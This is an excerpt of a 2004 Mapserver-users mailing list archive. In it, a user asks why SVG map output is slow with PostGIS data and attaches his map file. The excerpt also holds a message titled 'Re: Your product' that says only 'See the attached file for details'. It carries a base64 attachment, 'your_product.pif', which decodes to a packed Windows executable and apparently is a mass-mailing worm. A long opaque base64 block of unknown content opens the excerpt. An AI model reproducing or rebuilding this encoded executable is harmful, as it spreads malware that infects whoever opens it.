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 ------=_NextPart_000_0003_000067DC.00004925-- From mofumyke@yahoo.com Tue Mar 2 08:59:51 2004 From: mofumyke@yahoo.com (yuth hor) Date: Tue, 2 Mar 2004 00:59:51 -0800 (PST) Subject: [Mapserver-users] Slow Mapserver SVG on postgres db Message-ID: <20040302085951.37604.qmail@web14802.mail.yahoo.com> --0-535643834-1078217991=:36027 Content-Type: text/plain; charset=us-ascii Hi all, Again, I need some guidance about the SVG output. I have tested the new SVG output from nightly build and found that the return SVG map was very slow if I use the Postgres db as an input type. The shape file input gives me a better performance in order to generate the SVG map. It has no problem and quite fast if I use postgres/postgis with raster output. Do you have any idea about this? I have never look into the Mapserver source before, anyone can tell me about the SVG generated process in Mapserver and which module in Mapserver source that use to draw the SVG map? I may take a look that source for better understanding. Some information about my data - the layer is quite large, about 10 – 65 Mb. / layer (shp file) - After dump the shp layer into Postgres, GIST index was already made. Thank you very much in advanced, I also enclosed my map file with this mail for your perusal. Teerayut MAP NAME 'japan' EXTENT 122.935414 24.040589 153.986285 45.554518 STATUS OFF # we don't want a raster map UNITS DD SHAPEPATH "/usr/local/apache/htdocs/japan/data/" WEB HEADER '../header.svg' FOOTER '../footer.svg' QUERYFORMAT 'image/svg+xml' END LAYER CONNECTIONTYPE postgis NAME "z9_road" STATUS DEFAULT CONNECTION "user=postgres dbname=gsi2500 host=10.10.10.100 port=5432" DATA "the_geom from (select gid,the_geom from z9_road) as foo using unique gid using SRID=4301" TYPE QUERY HEADER ../z9_road_header.svg FOOTER ../z9_road_footer.svg TEMPLATE ../z9_road_template.svg END END --------------------------------- Do you Yahoo!? Yahoo! Search - Find what you’re looking for faster. --0-535643834-1078217991=:36027 Content-Type: text/html; charset=us-ascii

Hi all,

 

Again, I need some guidance about the SVG output. I have tested the new SVG output from nightly build and found that the return SVG map was very slow if I use the Postgres db as an input type. The shape file input gives me a better performance in order to generate the SVG map. It has no problem and quite fast if I use postgres/postgis with raster output. Do you have any idea about this?  I have never look into the Mapserver source before, anyone can tell me about the SVG generated process in Mapserver and which module in Mapserver source that use to draw the SVG map? I may take a look that source for better understanding.

 

Some information about my data

-        the layer is quite large, about 10 – 65 Mb. / layer (shp file)

-        After dump the shp layer into Postgres, GIST index was already made.

 

Thank you very much in advanced, I also enclosed my map file with this mail for your perusal.

 

Teerayut  

 

MAP

  NAME 'japan'

 

 

  EXTENT 122.935414 24.040589 153.986285 45.554518

 

  STATUS OFF # we don't want a raster map

  UNITS DD

  SHAPEPATH "/usr/local/apache/htdocs/japan/data/"

 

  WEB

    HEADER '../header.svg'

    FOOTER '../footer.svg'

    QUERYFORMAT 'image/svg+xml'

  END

 

 

 

LAYER

  CONNECTIONTYPE postgis

  NAME "z9_road"

  STATUS DEFAULT

  CONNECTION "user=postgres dbname=gsi2500 host=10.10.10.100 port=5432"

  DATA "the_geom from (select gid,the_geom from z9_road) as foo using unique gid using SRID=4301"

  TYPE QUERY

  HEADER ../z9_road_header.svg

  FOOTER ../z9_road_footer.svg

  TEMPLATE ../z9_road_template.svg

END

 

END

 

Do you Yahoo!?
Yahoo! Search - Find what you’re looking for faster. --0-535643834-1078217991=:36027-- From keon@nacse.org Tue Mar 2 09:36:43 2004 From: keon@nacse.org (keon@nacse.org) Date: Tue, 2 Mar 2004 10:36:43 +0100 Subject: [Mapserver-users] Re: Your product Message-ID: <200403020938.i229cQAP024576@lists.gis.umn.edu> This is a multi-part message in MIME format. ------=_NextPart_000_0000_00001427.00007129 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit See the attached file for details. ------=_NextPart_000_0000_00001427.00007129 Content-Type: application/octet-stream; name="your_product.pif" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="your_product.pif" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAuAAAAKvnXsbvhjCV74Ywle+GMJVsmj6V44YwlQeZOpX2hjCV74YxlbiGMJVsjm2V 4oYwlQeZO5XqhjCVV4A2le6GMJVSaWNo74YwlQAAAAAAAAAAQ29tcHJlc3NlZCBieSBQZXRp dGUgKGMpMTk5OSBJYW4gTHVjay4AAFBFAABMAQMA6ZtBQAAAAAAAAAAA4AAPAQsBBgAASAAA APAAAAAAAABCcAEAABAAAABgAAAAAEAAABAAAAACAAAEAAAAAAAAAAQAAAAAAAAAAIABAAAE AAAAAAAAAgAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAA/HEBAK8BAAAAYAEA EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA LnBldGl0ZQAAUAEAABAAAAA8AAAACAAAAAAAAAAAAAAAAAAAYAAA4AAAAAAAAAAAABAAAABg AQAQAAAAAEQAAAAAAAAAAAAAAAAAAEAAAEAAAAAAAAAAAKsDAAAAcAEAAAQAAAAEAAAAAAAA AAAAAAAAAABgAADiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 